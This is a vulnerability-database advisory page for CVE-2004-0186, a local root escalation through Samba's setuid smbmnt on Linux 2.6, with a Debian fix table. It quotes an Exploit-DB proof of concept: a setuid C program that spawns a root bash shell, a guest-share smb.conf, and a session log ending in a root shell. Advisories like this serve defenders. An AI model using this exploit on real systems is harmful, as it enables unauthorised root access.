CVE-2004-0186
Description
smbmnt in Samba 2.x and 3.x on Linux 2.6, when installed setuid, allows local users to gain root privileges by mounting a Samba share that contains a setuid root program, whose setuid attributes are not cleared when the share is mounted.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation
source: https://www.securityfocus.com/bid/9619/info
A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.
The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.
misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian
misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^
Confirmed to be default on Debian and Mandrake.
share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#
share:/etc/samba/smb.conf
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a
misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.0.2-2 |
| sid | Fixed | 3.0.2-2 |
| forky | Fixed | 3.0.2-2 |
| bullseye | Fixed | 3.0.2-2 |
| bookworm | Fixed | 3.0.2-2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.